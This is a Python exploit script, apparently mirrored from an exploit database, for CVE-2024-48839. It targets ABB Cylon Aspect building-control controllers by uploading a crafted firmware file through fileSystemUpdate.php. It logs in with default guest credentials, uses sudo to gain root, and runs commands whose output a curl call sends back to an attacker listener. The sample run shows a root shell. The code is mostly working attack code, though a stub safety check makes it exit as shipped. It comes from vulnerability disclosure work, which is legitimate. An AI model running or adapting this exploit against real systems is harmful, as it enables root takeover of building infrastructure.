Share
## https://sploitus.com/exploit?id=ZSL-2024-5871
<html><body><p>#!/usr/bin/env python
#
#
# ABB Cylon Aspect 3.08.02 (fileSystemUpdate.php) Remote Guest2Root Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
#                   Firmware: &lt;=3.08.02
#
# Summary: ASPECT is an award-winning scalable building energy management
# and control solution designed to allow users seamless access to their
# building data through standard building protocols including smart devices.
#
# Desc: The ABB BMS/BAS controller is vulnerable to code execution and sudo misconfiguration
# flaws. An authenticated remote code execution vulnerability in the firmware update
# mechanism allows an attacker with valid credentials to escalate privileges and execute
# commands as root. The process involves uploading a crafted .aam file through fileSystemUpdate.php,
# which is then moved to /tmp and executed by fileSystemUpdateExecute.php. This script
# leverages sudo to run the upgrade-bundle.sh script, enabling the attacker to bypass
# input validation checks and execute arbitrary code, leading to full system compromise
# and unauthorized root access.
#
# ---------------------------------------------------------------------------------
#
# $ ./aamroot.py 192.168.73.31 192.168.73.8 --creds guest:guest
# [o] Exploit starting at 03.11.2024 02:16:56
# [o] Using credentials: guest:*****
# [o] Auth successfull.
# [o] PHPSESSID: da4f0620ba3abfbc8fb4f1da1e032fc7
# [o] Listening on 192.168.73.8:5555...
# [o] Building name: ["Airport Business Center"]
# [o] runtime.ver=v3.08.02
# [+] -&gt; [virtual] rootshell
#
# # id
# uid=0(root) gid=0(root) groups=0(root)
# # pwd
# /home/MIX_CMIX/htmlroot
# exit
# [o] Removing callback file.
# [!] Connection terminated.
#
# ---------------------------------------------------------------------------------
#
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
#            GNU/Linux 3.10.0 (x86_64)
#            GNU/Linux 2.6.32 (x86_64)
#            Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
#            Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
#            PHP/7.3.11
#            PHP/5.6.30
#            PHP/5.4.16
#            PHP/4.4.8
#            PHP/5.3.3
#            AspectFT Automation Application Server
#            lighttpd/1.4.32
#            lighttpd/1.4.18
#            Apache/2.2.15 (CentOS)
#            OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
#            OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2024-5871
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5871.php
# CVE ID: CVE-2024-48839
# CVE URL: https://cve.org/CVERecord?id=CVE-2024-48839
#
#
# 21.04.2024
#
#

from colorama import init, Fore
from urllib.parse import quote
from time import sleep
import threading
import datetime
import requests
import socket
import re
import os
import sys

init()

def safe(*trigger, ):
    return True

def auth(target_ip, user, pwd):
    login_ep = f"http://{target_ip}/validate/login.php"
    payload = {
        'f_user' : user, # 'aamuser, guest'
        'f_pass' : pwd, # 'default, guest'
        'submit' : 'Login'
    }
    sess = requests.Session()
    r = sess.post(login_ep, data=payload)
    if r.status_code == 200 and 'PHPSESSID' in sess.cookies:
        print("[o] Auth successfull.")
        phpsessid = sess.cookies.get('PHPSESSID')
        print("[o] PHPSESSID:", phpsessid)
        return sess.cookies
    else:
        print("[!] Auth failed.")
        return None

def kacuj(target_ip, listen_ip, cmd, token=None, cookies=None):
    agentwho = "Phineas Phreak/19.84"
    payload = f"curl -A \"`{cmd}`\" {listen_ip}:5555"
    url = f"http://{target_ip}/fileSystemUpdate.php"

    headers = {
        "Content-Type": "multipart/form-data; boundary=----zeroscience",
        "User-Agent": agentwho
    }
    data = (
        "------zeroscience\r\n"
        f"Content-Disposition: form-data; name=\"userfile\"; filename={AAM}\r\n"
        "Content-Type: application/octet-stream\r\n\r\n"
        f"{payload}\r\n"
        '------zeroscience--\r\n'
    )
    try:
        r = requests.post(url, headers=headers, data=data, cookies=cookies)
        if r.status_code == 200:
            url_execute = f"http://{target_ip}/fileSystemUpdateExecute.php?file={AAM}"
            r = requests.get(url_execute, cookies=cookies)

            return r.content

    except requests.exceptions.RequestException as e:
        print(f"[!] Error sending payload: {e}")

    return None

def koj_slusha(listen_ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("0.0.0.0", 5555))
    s.listen(1)
    
    print(f"[o] Listening on {listen_ip}:5555...")

    while True:
        conn, addr = s.accept()
        try:
            data = conn.recv(9999)
            if not data:
                print("[!] Connection closed by remote host.")
                break
            dd = data.decode("utf-8", errors="ignore")
            uam = re.search(r"User-Agent:\s*(.*)\s*Host:", dd, re.DOTALL)
            if uam:
                print(uam.group(1), end="")
            else:
                print
                #print(f"[o] Full response:\n{dd}")
        except Exception as e:
            print(f"[!] Error while receiving data: {e}")
        finally:
            conn.close()

def main():
    if safe(True):
        print("\nSafety: \033[92mON\033[0m")
        exit(-17)
    else:
        next

    global AAM
    global start
    AAM = "firmware.aam"
    
    start = datetime.datetime.now()
    start = start.strftime("%d.%m.%Y %H:%M:%S")
    title = "\033[96mABB Cylonยฎ ASPECTยฎ Supervisory Building Control v3.08.02\033[0m"
    subtl = "\033[95m\t\t-&gt; Remote Root Exploit &lt;-\033[0m"
    prj = f"""
                 P   R   O   J   E   C   T\033[90m

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘  
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘ 
โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘ 
         โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–’โ–“โ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘
         โ–‘โ–’โ–“โ–ˆโ–“โ–’โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘ โ–‘โ–’โ–“โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–“โ–’โ–‘
\033[0m
 {title}
 {subtl}
    """   
    if len(sys.argv) &lt; 4:
        print(prj)
        print("./aamroot.py <targetip> <listenip> <phpsessid user:pass="">")
        sys.exit(-0)

    target_ip = sys.argv[1]
    listen_ip = sys.argv[2]
    auth_arg = sys.argv[3]

    print("[o] Exploit starting at", start)

    if "--creds" in sys.argv:
        creds_index = sys.argv.index("--creds") + 1
        if creds_index &gt;= len(sys.argv):
            print("[!] Error: Missing credentials after --creds.")
            sys.exit(-1)

        user_pass = sys.argv[creds_index]
        if ":" not in user_pass:
            print("[!] Error: Invalid credentials format. Expected format: user:pass.")
            sys.exit(-2)

        user, pwd = user_pass.split(":")
        print(f"[o] Using credentials: {user}:{'*' * len(pwd)}")
        cookies = auth(target_ip, user, pwd)
    else:
        token = auth_arg
        cookies = {"PHPSESSID": token}
    if not cookies:
        sys.exit(-3)

    nishka = threading.Thread(target=koj_slusha, args=(listen_ip,))
    nishka.daemon = True
    nishka.start()

    bacname = f"http://{target_ip}/getApplicationNamesJS.php"
    r = requests.get(bacname)
    if r.status_code == 200:
        try:
            r = r.content
            decor = r.decode("utf-8")
        except UnicodeDecodeError:
            decor = r.decode("utf-8", errors="ignore")

        odg = re.search(r"var instanceDirectory=(.*?);", decor)
        if odg:
            cmd = "echo -ne \"[o] \" ; cat runtime/release.properties | grep -w 'runtime.ver'"
            print("[o] Building name:", odg.group(1))
            kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)
            print("\033[92m[+] -&gt; [virtual] rootshell\033[0m\n")
        else:
            print("[o] Unknown building name.")
    sleep(0.01)

    while True:
        sleep(0.01)
        cmd = input("# ")
        if cmd.lower() in ["exit", "quit"]:
            print("[o] Removing callback file.")
            kacuj(target_ip, listen_ip, "rm /tmp/" + AAM, token=None, cookies=cookies)
            print("\033[91m[!] Connection terminated.\033[0m")
            os._exit(-17)

        kacuj(target_ip, listen_ip, cmd, token=None, cookies=cookies)

    nishka.join()

if __name__ == "__main__":
    main()
</phpsessid></listenip></targetip></p></body></html>